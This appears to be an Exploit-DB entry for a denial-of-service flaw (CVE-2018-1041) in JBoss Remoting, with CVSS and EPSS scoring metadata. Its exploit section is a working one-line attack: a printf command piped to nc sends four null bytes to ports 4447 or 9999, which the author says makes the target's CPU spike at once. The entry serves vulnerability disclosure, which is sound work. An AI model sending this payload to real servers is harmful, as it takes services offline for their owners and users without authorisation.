JBoss Remoting 6.14.18 - Denial of Service

2018-02-1600:00:00

Frank Spierings

www.exploit-db.com

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

7.8 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.027 Low

EPSS

Percentile

90.4%

JSON

# Exploit Title: Exploit Denial of Service JBoss Remoting (4447/9999)

# Date: 14-02-2018

# Exploit Author: Frank Spierings

# Vendor Homepage:
https://www.redhat.com/en/technologies/jboss-middleware/application-platform/get-started

# Software Link: http://ftp.redhat.com/pub/redhat/jboss/eap/

# Version: JBoss EAP 6.14.18 | Fixed in JBoss EAP 6.14.19

# Tested on: Red Hat Enterprise Linux Server release 7.4 |

# CVE : CVE-2018-1041



This is a very easy Denial of Service exploit. The target only requires 4
null bytes: `\x00\x00\x00\x00`.

The CPU will instantly spike after receiving this payload.



printf "\x00\x00\x00\x00" | nc <target> <port = 4447|9999>

`printf "\x00\x00\x00\x00" | nc 127.0.0.1 4447`